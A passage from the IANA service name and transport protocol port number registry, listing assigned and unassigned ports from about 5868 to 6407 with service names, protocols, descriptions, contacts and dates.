diameters          5868       sctp    Diameter over DTLS/SCTP      [IESG]                                                [IETF_Chair]                                                                        [RFC6733]
                 5869-5882            Unassigned
jute               5883        tcp    Javascript Unit Test         [Mark_Ethan_Trostler]                                 [Mark_Ethan_Trostler]                                     2011-11-23
                                      Environment
                 5884-5899            Unassigned
rfb                5900        tcp    Remote Framebuffer           [Tristan_Richardson]                                  [Tristan_Richardson]                                      2006-03                   [RFC6143]
rfb                5900        udp    Remote Framebuffer           [Tristan_Richardson]                                  [Tristan_Richardson]                                      2006-03                   [RFC6143]
                 5901-5909            Unassigned
cm                 5910        tcp    Context Management           [Eivan_Cerasi]                                        [Eivan_Cerasi]                                            2008-10-10
cm                 5910        udp    Context Management           [Eivan_Cerasi]                                        [Eivan_Cerasi]                                            2008-10-10
cm                 5910       sctp    Context Management           [Justin_Yu]                                           [Justin_Yu]                                               2011-05-19
cpdlc              5911        tcp    Controller Pilot Data Link   [Eivan_Cerasi]                                        [Eivan_Cerasi]                                            2008-10-10
                                      Communication
cpdlc              5911        udp    Controller Pilot Data Link   [Eivan_Cerasi]                                        [Eivan_Cerasi]                                            2008-10-10
                                      Communication
cpdlc              5911       sctp    Controller Pilot Data Link   [Justin_Yu]                                           [Justin_Yu]                                               2011-05-18
                                      Communication
fis                5912        tcp    Flight Information Services  [Eivan_Cerasi]                                        [Eivan_Cerasi]                                            2008-10-10
fis                5912        udp    Flight Information Services  [Eivan_Cerasi]                                        [Eivan_Cerasi]                                            2008-10-10
fis                5912       sctp    Flight Information Services  [Justin_Yu]                                           [Justin_Yu]                                               2011-05-25
ads-c              5913        tcp    Automatic Dependent          [Eivan_Cerasi]                                        [Eivan_Cerasi]                                            2008-10-10
                                      Surveillance
ads-c              5913        udp    Automatic Dependent          [Eivan_Cerasi]                                        [Eivan_Cerasi]                                            2008-10-10
                                      Surveillance
ads-c              5913       sctp    Automatic Dependent          [Justin_Yu]                                           [Justin_Yu]                                               2011-05-25
                                      Surveillance
                 5914-5962            Unassigned
indy               5963        tcp    Indy Application Server      [Bjorn_Lantz]                                         [Bjorn_Lantz]                                             2004-11
indy               5963        udp    Indy Application Server      [Bjorn_Lantz]                                         [Bjorn_Lantz]                                             2004-11
                 5964-5967            Unassigned
mppolicy-v5        5968        tcp    mppolicy-v5                  [Yutaka_Ono]                                          [Yutaka_Ono]
mppolicy-v5        5968        udp    mppolicy-v5                  [Yutaka_Ono]                                          [Yutaka_Ono]
mppolicy-mgr       5969        tcp    mppolicy-mgr                 [Yutaka_Ono]                                          [Yutaka_Ono]
mppolicy-mgr       5969        udp    mppolicy-mgr                 [Yutaka_Ono]                                          [Yutaka_Ono]
                 5970-5983            Unassigned
couchdb            5984        tcp    CouchDB                      [Noah_Slater]                                         [Noah_Slater]                                             2007-11-27
couchdb            5984        udp    CouchDB                      [Noah_Slater]                                         [Noah_Slater]                                             2007-11-27
wsman              5985        tcp    WBEM WS-Management HTTP      [Jim_Davis]                                           [Jim_Davis]                                               2006-11
wsman              5985        udp    WBEM WS-Management HTTP      [Jim_Davis]                                           [Jim_Davis]                                               2006-11
wsmans             5986        tcp    WBEM WS-Management HTTP over [Jim_Davis]                                           [Jim_Davis]                                               2006-11
                                      TLS/SSL
wsmans             5986        udp    WBEM WS-Management HTTP over [Jim_Davis]                                           [Jim_Davis]                                               2006-11
                                      TLS/SSL
wbem-rmi           5987        tcp    WBEM RMI                     [Jim_Davis]                                           [Jim_Davis]
wbem-rmi           5987        udp    WBEM RMI                     [Jim_Davis]                                           [Jim_Davis]
wbem-http          5988        tcp    WBEM CIM-XML (HTTP)          [Jim_Davis]                                           [Jim_Davis]
wbem-http          5988        udp    WBEM CIM-XML (HTTP)          [Jim_Davis]                                           [Jim_Davis]
wbem-https         5989        tcp    WBEM CIM-XML (HTTPS)         [Jim_Davis]                                           [Jim_Davis]
wbem-https         5989        udp    WBEM CIM-XML (HTTPS)         [Jim_Davis]                                           [Jim_Davis]
wbem-exp-https     5990        tcp    WBEM Export HTTPS            [Denise_Eckstein]                                     [Denise_Eckstein]                                         2004-11
wbem-exp-https     5990        udp    WBEM Export HTTPS            [Denise_Eckstein]                                     [Denise_Eckstein]                                         2004-11
nuxsl              5991        tcp    NUXSL                        [Kai_Kretschmann]                                     [Kai_Kretschmann]                                         2002-03
nuxsl              5991        udp    NUXSL                        [Kai_Kretschmann]                                     [Kai_Kretschmann]                                         2002-03
consul-insight     5992        tcp    Consul InSight Security      [Arthur_Hillenaar]                                    [Arthur_Hillenaar]                                        2006-01
consul-insight     5992        udp    Consul InSight Security      [Arthur_Hillenaar]                                    [Arthur_Hillenaar]                                        2006-01
cim-rs             5993        tcp    DMTF WBEM CIM REST           [WS_Inc]                                              [Jim_Davis_2]                                             2015-04-24
                   5993        udp    Reserved
                 5994-5998            Unassigned
cvsup              5999        tcp    CVSup                        [Randall_Atkinson_2]                                  [Randall_Atkinson_2]
cvsup              5999        udp    CVSup                        [Randall_Atkinson_2]                                  [Randall_Atkinson_2]
                                                                                                                                                                                                                                                                     Known
x11              6000-6063     tcp    X Window System              [Stephen_Gildea]                                      [Stephen_Gildea]                                                                                                                            Unauthorized
                                                                                                                                                                                                                                                                     Use on port
                                                                                                                                                                                                                                                                     6003
                                                                                                                                                                                                                                                                     Known
x11              6000-6063     udp    X Window System              [Stephen_Gildea]                                      [Stephen_Gildea]                                                                                                                            Unauthorized
                                                                                                                                                                                                                                                                     Use on port
                                                                                                                                                                                                                                                                     6003
ndl-ahp-svc        6064        tcp    NDL-AHP-SVC                  [John_Richmond_2]                                     [John_Richmond_2]
ndl-ahp-svc        6064        udp    NDL-AHP-SVC                  [John_Richmond_2]                                     [John_Richmond_2]
winpharaoh         6065        tcp    WinPharaoh                   [Basil_Lee]                                           [Basil_Lee]
winpharaoh         6065        udp    WinPharaoh                   [Basil_Lee]                                           [Basil_Lee]
ewctsp             6066        tcp    EWCTSP                       [Mark_Bailon]                                         [Mark_Bailon]
ewctsp             6066        udp    EWCTSP                       [Mark_Bailon]                                         [Mark_Bailon]
                   6067               Unassigned                                                                                                                                                2007-07-17
gsmp-ancp          6068        tcp    GSMP/ANCP                    [Avri_Doria]                                          [Avri_Doria]                                                                        [RFC6320]
                   6068        udp    Reserved
trip               6069        tcp    TRIP                         [Hussein_F_Salama]                                    [Hussein_F_Salama]
trip               6069        udp    TRIP                         [Hussein_F_Salama]                                    [Hussein_F_Salama]
messageasap        6070        tcp    Messageasap                  [Murray_Freeman]                                      [Murray_Freeman]
messageasap        6070        udp    Messageasap                  [Murray_Freeman]                                      [Murray_Freeman]
ssdtp              6071        tcp    SSDTP                        [Michael_Shearson_2]                                  [Michael_Shearson_2]
ssdtp              6071        udp    SSDTP                        [Michael_Shearson_2]                                  [Michael_Shearson_2]
diagnose-proc      6072        tcp    DIAGNOSE-PROC                [Allan_Miller]                                        [Allan_Miller]
diagnose-proc      6072        udp    DIAGNOSE-PROC                [Allan_Miller]                                        [Allan_Miller]
directplay8        6073        tcp    DirectPlay8                  [John_Kane]                                           [John_Kane]
directplay8        6073        udp    DirectPlay8                  [John_Kane]                                           [John_Kane]
max                6074        tcp    Microsoft Max                [Jay_Beavers]                                         [Jay_Beavers]                                             2006-02
max                6074        udp    Microsoft Max                [Jay_Beavers]                                         [Jay_Beavers]                                             2006-02
dpm-acm            6075        tcp    Microsoft DPM Access Control [Prabu_Ambravaneswara]                                [Prabu_Ambravaneswara]                                    2009-10-29
                                      Manager
                   6075        udp    Reserved
msft-dpm-cert      6076        tcp    Microsoft DPM WCF            [Microsoft_Corporation]                               [Prateek_Sharma]                                          2011-08-04
                                      Certificates
                   6076        udp    Reserved
iconstructsrv      6077        tcp    iConstruct Server            [iConstruct_Aus_Pty_Ltd]                              [Afshin_Jafari]                                           2012-12-21
                   6077        udp    Reserved
                 6078-6079            Unassigned
gue                6080        udp    Generic UDP Encapsulation    [Tom_Herbert]                                         [Tom_Herbert]                                             2015-03-05                [draft-herbert-gue]
                   6080        tcp    Reserved
                                      Generic Network
geneve             6081        udp    Virtualization Encapsulation [Jesse_Gross]                                         [Jesse_Gross]                                             2014-03-27                [draft-gross-geneve-00]
                                      (Geneve)
                   6081        tcp    Reserved
                   6082        tcp    Reserved
                                      APCO Project 25 Common Air
p25cai             6082        udp    Interface - UDP              [APCO_Project]                                        [APCO_Project]                                            2011-05-13
                                      encapsulation
                   6083        tcp    Reserved
miami-bcast        6083        udp    telecomsoftware miami        [Peter_Steiner]                                       [Peter_Steiner]                                           2011-02-22
                                      broadcast
reload-config      6084        tcp    Peer to Peer Infrastructure  [IESG]                                                [IETF_Chair]                                              2009-01-29   2013-03-26   [RFC6940]
                                      Configuration
                   6084        udp    Reserved
konspire2b         6085        tcp    konspire2b p2p network       [Jason_Rohrer]                                        [Jason_Rohrer]                                            2002-10
konspire2b         6085        udp    konspire2b p2p network       [Jason_Rohrer]                                        [Jason_Rohrer]                                            2002-10
pdtp               6086        tcp    PDTP P2P                     [Tony_Arcieri]                                        [Tony_Arcieri]                                            2006-03
pdtp               6086        udp    PDTP P2P                     [Tony_Arcieri]                                        [Tony_Arcieri]                                            2006-03
ldss               6087        tcp    Local Download Sharing       [Clifford_Heath]                                      [Clifford_Heath]                                          2006-05
                                      Service
ldss               6087        udp    Local Download Sharing       [Clifford_Heath]                                      [Clifford_Heath]                                          2006-05
                                      Service
doglms             6088        tcp    SuperDog License Manager     [SafeNet]                                             [Rob_Tao]                                                 2012-07-26
doglms-notify      6088        udp    SuperDog License Manager     [SafeNet]                                             [Rob_Tao]                                                 2012-07-26
                                      Notifier
                 6089-6098            Unassigned
raxa-mgmt          6099        tcp    RAXA Management              [Sukanta_Ganguly]                                     [Sukanta_Ganguly]
                   6099        udp    Reserved
                                                                                                                                                                                                                                                                     Known
synchronet-db      6100        tcp    SynchroNet-db                [Arne_Haugland]                                       [Arne_Haugland]                                                                                                                             Unauthorized
                                                                                                                                                                                                                                                                     Use on port
                                                                                                                                                                                                                                                                     6100
                                                                                                                                                                                                                                                                     Known
synchronet-db      6100        udp    SynchroNet-db                [Arne_Haugland]                                       [Arne_Haugland]                                                                                                                             Unauthorized
                                                                                                                                                                                                                                                                     Use on port
                                                                                                                                                                                                                                                                     6100
synchronet-rtc     6101        tcp    SynchroNet-rtc               [Arne_Haugland]                                       [Arne_Haugland]
synchronet-rtc     6101        udp    SynchroNet-rtc               [Arne_Haugland]                                       [Arne_Haugland]
synchronet-upd     6102        tcp    SynchroNet-upd               [Arne_Haugland]                                       [Arne_Haugland]
synchronet-upd     6102        udp    SynchroNet-upd               [Arne_Haugland]                                       [Arne_Haugland]
rets               6103        tcp    RETS                         [Jeremy_Crawford]                                     [Jeremy_Crawford]
rets               6103        udp    RETS                         [Jeremy_Crawford]                                     [Jeremy_Crawford]
dbdb               6104        tcp    DBDB                         [Aaron_Brick]                                         [Aaron_Brick]
dbdb               6104        udp    DBDB                         [Aaron_Brick]                                         [Aaron_Brick]
primaserver        6105        tcp    Prima Server                 [Prima_Designs_System]                                [Prima_Designs_System]
primaserver        6105        udp    Prima Server                 [Prima_Designs_System]                                [Prima_Designs_System]
mpsserver          6106        tcp    MPS Server                   [Prima_Designs_System]                                [Prima_Designs_System]
mpsserver          6106        udp    MPS Server                   [Prima_Designs_System]                                [Prima_Designs_System]
etc-control        6107        tcp    ETC Control                  [Steve_Polishinski]                                   [Steve_Polishinski]
etc-control        6107        udp    ETC Control                  [Steve_Polishinski]                                   [Steve_Polishinski]
sercomm-scadmin    6108        tcp    Sercomm-SCAdmin              [Melinda_Tsao_2]                                      [Melinda_Tsao_2]
sercomm-scadmin    6108        udp    Sercomm-SCAdmin              [Melinda_Tsao_2]                                      [Melinda_Tsao_2]
globecast-id       6109        tcp    GLOBECAST-ID                 [Piers_Scannell_2]                                    [Piers_Scannell_2]
globecast-id       6109        udp    GLOBECAST-ID                 [Piers_Scannell_2]                                    [Piers_Scannell_2]
softcm             6110        tcp    HP SoftBench CM              [Scott_A_Kramer]                                      [Scott_A_Kramer]
softcm             6110        udp    HP SoftBench CM              [Scott_A_Kramer]                                      [Scott_A_Kramer]
spc                6111        tcp    HP SoftBench Sub-Process     [Scott_A_Kramer]                                      [Scott_A_Kramer]
                                      Control
spc                6111        udp    HP SoftBench Sub-Process     [Scott_A_Kramer]                                      [Scott_A_Kramer]
                                      Control
dtspcd             6112        tcp    Desk-Top Sub-Process Control [Doug_Royer]                                          [Doug_Royer]                                              2010-12-08
                                      Daemon
dtspcd             6112        udp    Desk-Top Sub-Process Control [Doug_Royer]                                          [Doug_Royer]                                              2010-12-08
                                      Daemon
dayliteserver      6113        tcp    Daylite Server               [Brent_Gulanowski]                                    [Brent_Gulanowski]                                        2009-08-26
                   6113        udp    Reserved
wrspice            6114        tcp    WRspice IPC Service          [Stephen_R_Whiteley]                                  [Stephen_R_Whiteley]                                      2010-10-07
                   6114        udp    Reserved
xic                6115        tcp    Xic IPC Service              [Stephen_R_Whiteley]                                  [Stephen_R_Whiteley]                                      2010-10-07
                   6115        udp    Reserved
xtlserv            6116        tcp    XicTools License Manager     [Stephen_R_Whiteley]                                  [Stephen_R_Whiteley]                                      2010-10-07
                                      Service
                   6116        udp    Reserved
daylitetouch       6117        tcp    Daylite Touch Sync           [Brent_Gulanowski]                                    [Brent_Gulanowski]                                        2009-08-26
                   6117        udp    Reserved
tipc               6118        udp    Transparent Inter Process    [Ericsson]                                            [Erik_Hugne]                                              2012-09-05
                                      Communication
                   6118        tcp    Reserved
                 6119-6120            Unassigned
spdy               6121        tcp    SPDY for a faster web        [Matthew_Lloyd]                                       [Matthew_Lloyd]                                           2010-04-26
                   6121        udp    Reserved
bex-webadmin       6122        tcp    Backup Express Web Server    [Catalogic_Software_Inc]                              [Chi_Shih_Chang]                                          2008-03-19   2015-02-04
bex-webadmin       6122        udp    Backup Express Web Server    [Catalogic_Software_Inc]                              [Chi_Shih_Chang]                                          2008-03-19   2015-02-04
backup-express     6123        tcp    Backup Express               [Catalogic_Software_Inc]                              [Chi_Shih_Chang]                                          2008-03-19   2015-02-04
backup-express     6123        udp    Backup Express               [Catalogic_Software_Inc]                              [Chi_Shih_Chang]                                          2008-03-19   2015-02-04
pnbs               6124        tcp    Phlexible Network Backup     [William_R_Lear_2]                                    [William_R_Lear_2]                                        2008-10-23
                                      Service
pnbs               6124        udp    Phlexible Network Backup     [William_R_Lear_2]                                    [William_R_Lear_2]                                        2008-10-23
                                      Service
                 6125-6129            Unassigned
damewaremobgtwy    6130        tcp    The DameWare Mobile Gateway  [SolarWinds]                                          [David_Gayler]                                            2013-05-29
                                      Service
                   6130        udp    Reserved
                 6131-6132            Unassigned
nbt-wol            6133        tcp    New Boundary Tech WOL        [Elizabeth_Zilen]                                     [Elizabeth_Zilen]                                         2004-11
nbt-wol            6133        udp    New Boundary Tech WOL        [Elizabeth_Zilen]                                     [Elizabeth_Zilen]                                         2004-11
                 6134-6139            Unassigned
pulsonixnls        6140        tcp    Pulsonix Network License     [David_Manns]                                         [David_Manns]                                             2008-02-28
                                      Service
pulsonixnls        6140        udp    Pulsonix Network License     [David_Manns]                                         [David_Manns]                                             2008-02-28
                                      Service
meta-corp          6141        tcp    Meta Corporation License     [Osamu_Masuda]                                        [Osamu_Masuda]
                                      Manager
meta-corp          6141        udp    Meta Corporation License     [Osamu_Masuda]                                        [Osamu_Masuda]
                                      Manager
aspentec-lm        6142        tcp    Aspen Technology License     [Kevin_Massey]                                        [Kevin_Massey]
                                      Manager
aspentec-lm        6142        udp    Aspen Technology License     [Kevin_Massey]                                        [Kevin_Massey]
                                      Manager
watershed-lm       6143        tcp    Watershed License Manager    [David_Ferrero]                                       [David_Ferrero]
watershed-lm       6143        udp    Watershed License Manager    [David_Ferrero]                                       [David_Ferrero]
statsci1-lm        6144        tcp    StatSci License Manager - 1  [Scott_Blachowicz]                                    [Scott_Blachowicz]
statsci1-lm        6144        udp    StatSci License Manager - 1  [Scott_Blachowicz]                                    [Scott_Blachowicz]
statsci2-lm        6145        tcp    StatSci License Manager - 2  [Scott_Blachowicz]                                    [Scott_Blachowicz]
statsci2-lm        6145        udp    StatSci License Manager - 2  [Scott_Blachowicz]                                    [Scott_Blachowicz]
lonewolf-lm        6146        tcp    Lone Wolf Systems License    [Dan_Klein]                                           [Dan_Klein]
                                      Manager
lonewolf-lm        6146        udp    Lone Wolf Systems License    [Dan_Klein]                                           [Dan_Klein]
                                      Manager
montage-lm         6147        tcp    Montage License Manager      [Michael_Ubell]                                       [Michael_Ubell]
montage-lm         6147        udp    Montage License Manager      [Michael_Ubell]                                       [Michael_Ubell]
ricardo-lm         6148        tcp    Ricardo North America        [M_Flemming]                                          [M_Flemming]
                                      License Manager
ricardo-lm         6148        udp    Ricardo North America        [M_Flemming]                                          [M_Flemming]
                                      License Manager
tal-pod            6149        tcp    tal-pod                      [Steven_Loomis]                                       [Steven_Loomis]
tal-pod            6149        udp    tal-pod                      [Steven_Loomis]                                       [Steven_Loomis]
                 6150-6158            Unassigned
efb-aci            6159        tcp    EFB Application Control      [Jonathan_Schaaf]                                     [Jonathan_Schaaf]                                         2010-02-10
                                      Interface
                   6159        udp    Reserved
ecmp               6160        tcp    Emerson Extensible Control   [Bryce_Beeston]                                       [Bryce_Beeston]                                           2011-06-23
                                      and Management Protocol
ecmp-data          6160        udp    Emerson Extensible Control   [Bryce_Beeston]                                       [Bryce_Beeston]                                           2011-06-23
                                      and Management Protocol Data
patrol-ism         6161        tcp    PATROL Internet Srv Mgr      [Portnoy_Boxman]                                      [Portnoy_Boxman]                                          2005-01
patrol-ism         6161        udp    PATROL Internet Srv Mgr      [Portnoy_Boxman]                                      [Portnoy_Boxman]                                          2005-01
patrol-coll        6162        tcp    PATROL Collector             [Portnoy_Boxman]                                      [Portnoy_Boxman]                                          2005-01
patrol-coll        6162        udp    PATROL Collector             [Portnoy_Boxman]                                      [Portnoy_Boxman]                                          2005-01
pscribe            6163        tcp    Precision Scribe Cnx Port    [Robert_W_Hodges]                                     [Robert_W_Hodges]                                         2005-01
pscribe            6163        udp    Precision Scribe Cnx Port    [Robert_W_Hodges]                                     [Robert_W_Hodges]                                         2005-01
                 6164-6199            Unassigned
                                                                                                                                                                                                                                                                     Known
lm-x               6200        tcp    LM-X License Manager by      [Henrik_Goldman]                                      [Henrik_Goldman]                                          2006-10                                                                           Unauthorized
                                      X-Formation                                                                                                                                                                                                                    Use on port
                                                                                                                                                                                                                                                                     6200
                                                                                                                                                                                                                                                                     Known
lm-x               6200        udp    LM-X License Manager by      [Henrik_Goldman]                                      [Henrik_Goldman]                                          2006-10                                                                           Unauthorized
                                      X-Formation                                                                                                                                                                                                                    Use on port
                                                                                                                                                                                                                                                                     6200
                   6201        tcp    Reserved
                                      Management of service nodes
thermo-calc        6201        udp    in a processing grid for     [Thermo-Calc_Software]                                [Thomas_Revesz]                                           2012-06-28
                                      thermodynamic calculations
                 6202-6208            Unassigned
qmtps              6209        tcp    QMTP over TLS                [FEHCom]                                              [Erwin_Hoffmann]                                          2015-01-09
qmtps              6209        udp    QMTP over TLS                [FEHCom]                                              [Erwin_Hoffmann]                                          2015-01-09
                 6210-6221            Unassigned
radmind            6222        tcp    Radmind Access Protocol      [Patrick_M_McNeal]                                    [Patrick_M_McNeal]                                        2006-03
radmind            6222        udp    Radmind Access Protocol      [Patrick_M_McNeal]                                    [Patrick_M_McNeal]                                        2006-03
                 6223-6240            Unassigned
jeol-nsdtp-1       6241        tcp    JEOL Network Services Data   [Kevin_Wellwood]                                      [Kevin_Wellwood]                                          2008-04-17
                                      Transport Protocol 1
jeol-nsddp-1       6241        udp    JEOL Network Services        [Kevin_Wellwood]                                      [Kevin_Wellwood]                                          2008-04-17
                                      Dynamic Discovery Protocol 1
jeol-nsdtp-2       6242        tcp    JEOL Network Services Data   [Kevin_Wellwood]                                      [Kevin_Wellwood]                                          2008-04-17
                                      Transport Protocol 2
jeol-nsddp-2       6242        udp    JEOL Network Services        [Kevin_Wellwood]                                      [Kevin_Wellwood]                                          2008-04-17
                                      Dynamic Discovery Protocol 2
jeol-nsdtp-3       6243        tcp    JEOL Network Services Data   [Kevin_Wellwood]                                      [Kevin_Wellwood]                                          2008-04-17
                                      Transport Protocol 3
jeol-nsddp-3       6243        udp    JEOL Network Services        [Kevin_Wellwood]                                      [Kevin_Wellwood]                                          2008-04-17
                                      Dynamic Discovery Protocol 3
jeol-nsdtp-4       6244        tcp    JEOL Network Services Data   [Kevin_Wellwood]                                      [Kevin_Wellwood]                                          2008-04-17
                                      Transport Protocol 4
jeol-nsddp-4       6244        udp    JEOL Network Services        [Kevin_Wellwood]                                      [Kevin_Wellwood]                                          2008-04-17
                                      Dynamic Discovery Protocol 4
                 6245-6250            Unassigned
tl1-raw-ssl        6251        tcp    TL1 Raw Over SSL/TLS         [Jim_Humphreys]                                       [Jim_Humphreys]                                           2008-01-29
tl1-raw-ssl        6251        udp    TL1 Raw Over SSL/TLS         [Jim_Humphreys]                                       [Jim_Humphreys]                                           2008-01-29
tl1-ssh            6252        tcp    TL1 over SSH                 [Jim_Humphreys]                                       [Jim_Humphreys]                                           2008-01-25
tl1-ssh            6252        udp    TL1 over SSH                 [Jim_Humphreys]                                       [Jim_Humphreys]                                           2008-01-25
crip               6253        tcp    CRIP                         [Mike_Rodbell]                                        [Mike_Rodbell]
crip               6253        udp    CRIP                         [Mike_Rodbell]                                        [Mike_Rodbell]
                 6254-6266            Unassigned
gld                6267        tcp    GridLAB-D User Interface     [David_Chassin]                                       [David_Chassin]                                           2010-12-10
                   6267        udp    Reserved
grid               6268        tcp    Grid Authentication          [Jason_Hamilton]                                      [Jason_Hamilton]                                          2006-06
grid               6268        udp    Grid Authentication          [Jason_Hamilton]                                      [Jason_Hamilton]                                          2006-06
grid-alt           6269        tcp    Grid Authentication Alt      [Jason_Hamilton]                                      [Jason_Hamilton]                                          2006-06
grid-alt           6269        udp    Grid Authentication Alt      [Jason_Hamilton]                                      [Jason_Hamilton]                                          2006-06
                 6270-6299            Unassigned
bmc-grx            6300        tcp    BMC GRX                      [Portnoy_Boxman]                                      [Portnoy_Boxman]
bmc-grx            6300        udp    BMC GRX                      [Portnoy_Boxman]                                      [Portnoy_Boxman]
                                      BMC CONTROL-D LDAP SERVER

bmc-ctd-ldap       6301        tcp    IANA assigned this           [Portnoy_Boxman_2]                                    [Portnoy_Boxman_2]                                        2006-09
                                      well-formed service name as
                                      a replacement for
                                      "bmc_ctd_ldap".
                                                                                                                                                                                                                                                                                  This entry is an alias to "bmc-ctd-ldap". This entry is now
bmc_ctd_ldap       6301        tcp    BMC CONTROL-D LDAP SERVER    [Portnoy_Boxman_2]                                    [Portnoy_Boxman_2]                                        2006-09                                                                                        historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      BMC CONTROL-D LDAP SERVER

bmc-ctd-ldap       6301        udp    IANA assigned this           [Portnoy_Boxman_2]                                    [Portnoy_Boxman_2]                                        2006-09
                                      well-formed service name as
                                      a replacement for
                                      "bmc_ctd_ldap".
                                                                                                                                                                                                                                                                                  This entry is an alias to "bmc-ctd-ldap". This entry is now
bmc_ctd_ldap       6301        udp    BMC CONTROL-D LDAP SERVER    [Portnoy_Boxman_2]                                    [Portnoy_Boxman_2]                                        2006-09                                                                                        historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                 6302-6305            Unassigned
ufmp               6306        tcp    Unified Fabric Management    [Albert_Berlovitch]                                   [Albert_Berlovitch]                                       2009-12-17
                                      Protocol
ufmp               6306        udp    Unified Fabric Management    [Albert_Berlovitch]                                   [Albert_Berlovitch]                                       2009-12-17
                                      Protocol
                 6307-6314            Unassigned
scup               6315        tcp    Sensor Control Unit Protocol [Sven_Kopacz]                                         [Sven_Kopacz]                                             2010-09-01
scup-disc          6315        udp    Sensor Control Unit Protocol [Sven_Kopacz]                                         [Sven_Kopacz]                                             2010-09-01
                                      Discovery Protocol
abb-escp           6316        tcp    Ethernet Sensor              [Jaime_Antolin]                                       [Jaime_Antolin]                                           2008-09-25
                                      Communications Protocol
abb-escp           6316        udp    Ethernet Sensor              [Jaime_Antolin]                                       [Jaime_Antolin]                                           2008-09-25
                                      Communications Protocol
nav-data-cmd       6317        tcp    Navtech Radar Sensor Data    [Navtech_Radar_Ltd]                                   [Guy_Avery]                                               2013-02-20
                                      Command
nav-data           6317        udp    Navtech Radar Sensor Data    [Navtech_Radar_Ltd]                                   [Guy_Avery]                                               2013-02-20
                 6318-6319            Unassigned
repsvc             6320        tcp    Double-Take Replication      [James_Wilkinson]                                     [James_Wilkinson]                                         2006-04
                                      Service
repsvc             6320        udp    Double-Take Replication      [James_Wilkinson]                                     [James_Wilkinson]                                         2006-04
                                      Service
emp-server1        6321        tcp    Empress Software             [Srdjan_Holovac]                                      [Srdjan_Holovac]
                                      Connectivity Server 1
emp-server1        6321        udp    Empress Software             [Srdjan_Holovac]                                      [Srdjan_Holovac]
                                      Connectivity Server 1
emp-server2        6322        tcp    Empress Software             [Srdjan_Holovac]                                      [Srdjan_Holovac]
                                      Connectivity Server 2
emp-server2        6322        udp    Empress Software             [Srdjan_Holovac]                                      [Srdjan_Holovac]
                                      Connectivity Server 2
                   6323               Unassigned
hrd-ncs            6324        tcp    HR Device Network            [Hall_Research]                                       [Vishal_Dharmadhikari]                                    2011-11-29
                                      Configuration Service
hrd-ns-disc        6324        udp    HR Device Network service    [Hall_Research]                                       [Vishal_Dharmadhikari]                                    2011-11-29
dt-mgmtsvc         6325        tcp    Double-Take Management       [Vision_Solutions]                                    [James_Wilkinson2]                                        2012-06-06
                                      Service
                   6325        udp    Reserved
dt-vra             6326        tcp    Double-Take Virtual Recovery [Vision_Solutions]                                    [James_Wilkinson2]                                        2012-10-08
                                      Assistant
                   6326        udp    Reserved
                 6327-6342            Unassigned
sflow              6343        tcp    sFlow traffic monitoring     [Peter_Phaal]                                         [Peter_Phaal]                                             2003-06
sflow              6343        udp    sFlow traffic monitoring     [Peter_Phaal]                                         [Peter_Phaal]                                             2003-06
                                      Argus-Spectr security and
streletz           6344        tcp    fire-prevention systems      [Argus_Spectr]                                        [Kirill_Marinushkin]                                      2013-10-25
                                      service
                   6344        udp    Reserved
                 6345-6345            Unassigned
gnutella-svc       6346        tcp    gnutella-svc                 [Serguei_Osokine]                                     [Serguei_Osokine]
gnutella-svc       6346        udp    gnutella-svc                 [Serguei_Osokine]                                     [Serguei_Osokine]
gnutella-rtr       6347        tcp    gnutella-rtr                 [Serguei_Osokine]                                     [Serguei_Osokine]
gnutella-rtr       6347        udp    gnutella-rtr                 [Serguei_Osokine]                                     [Serguei_Osokine]
                 6348-6349            Unassigned
adap               6350        tcp    App Discovery and Access     [Thomas_Kjoernes]                                     [Thomas_Kjoernes]                                         2010-06-22
                                      Protocol
adap               6350        udp    App Discovery and Access     [Thomas_Kjoernes]                                     [Thomas_Kjoernes]                                         2010-06-22
                                      Protocol
                 6351-6354            Unassigned
pmcs               6355        tcp    PMCS applications            [Pavel_Mendl]                                         [Pavel_Mendl]                                             2007-03
pmcs               6355        udp    PMCS applications            [Pavel_Mendl]                                         [Pavel_Mendl]                                             2007-03
                 6356-6359            Unassigned
metaedit-mu        6360        tcp    MetaEdit+ Multi-User         [Steven_Kelly]                                        [Steven_Kelly]                                            2007-11-12
metaedit-mu        6360        udp    MetaEdit+ Multi-User         [Steven_Kelly]                                        [Steven_Kelly]                                            2007-11-12
                 6361-6362            Unassigned
ndn                6363        udp    Named Data Networking        [Regents_of_the_University_of_California]             [Jeff_Burke]                                              2013-10-30
                   6363        tcp    Reserved
                 6364-6369            Unassigned
metaedit-se        6370        tcp    MetaEdit+ Server             [Steven_Kelly]                                        [Steven_Kelly]                                            2007-11-12
                                      Administration
metaedit-se        6370        udp    MetaEdit+ Server             [Steven_Kelly]                                        [Steven_Kelly]                                            2007-11-12
                                      Administration
                 6371-6378            Unassigned
redis              6379        tcp    An advanced key-value cache  [Salvatore_Sanfilippo]                                [Itamar_Haber]                                            2015-04-23
                                      and store
                   6379        udp    Reserved
                 6380-6381            Unassigned
metatude-mds       6382        tcp    Metatude Dialogue Server     [Menno_Zweistra]                                      [Menno_Zweistra]
metatude-mds       6382        udp    Metatude Dialogue Server     [Menno_Zweistra]                                      [Menno_Zweistra]
                 6383-6388            Unassigned
clariion-evr01     6389        tcp    clariion-evr01               [Dave_DesRoches]                                      [Dave_DesRoches]
clariion-evr01     6389        udp    clariion-evr01               [Dave_DesRoches]                                      [Dave_DesRoches]
metaedit-ws        6390        tcp    MetaEdit+ WebService API     [Steven_Kelly]                                        [Steven_Kelly]                                            2007-11-12
metaedit-ws        6390        udp    MetaEdit+ WebService API     [Steven_Kelly]                                        [Steven_Kelly]                                            2007-11-12
                 6391-6399            Unassigned
boe-cms            6400               Business Objects CMS contact [Wade_Richards]                                       [Wade_Richards]                                           2008-05-05
                                      port
boe-was            6401               boe-was                      [Wade_Richards]                                       [Wade_Richards]                                           2008-05-05
boe-eventsrv       6402               boe-eventsrv                 [Wade_Richards]                                       [Wade_Richards]                                           2008-05-05
boe-cachesvr       6403               boe-cachesvr                 [Wade_Richards]                                       [Wade_Richards]                                           2008-05-05
boe-filesvr        6404               Business Objects Enterprise  [Wade_Richards]                                       [Wade_Richards]                                           2008-05-05
                                      internal server
boe-pagesvr        6405               Business Objects Enterprise  [Wade_Richards]                                       [Wade_Richards]                                           2008-05-05
                                      internal server
boe-processsvr     6406               Business Objects Enterprise  [Wade_Richards]                                       [Wade_Richards]                                           2008-05-05
                                      internal server
boe-resssvr1       6407               Business Objects Enterprise  [Wade_Richards]                                       [Wade_Richards]                                           2008-05-05
                                      internal server
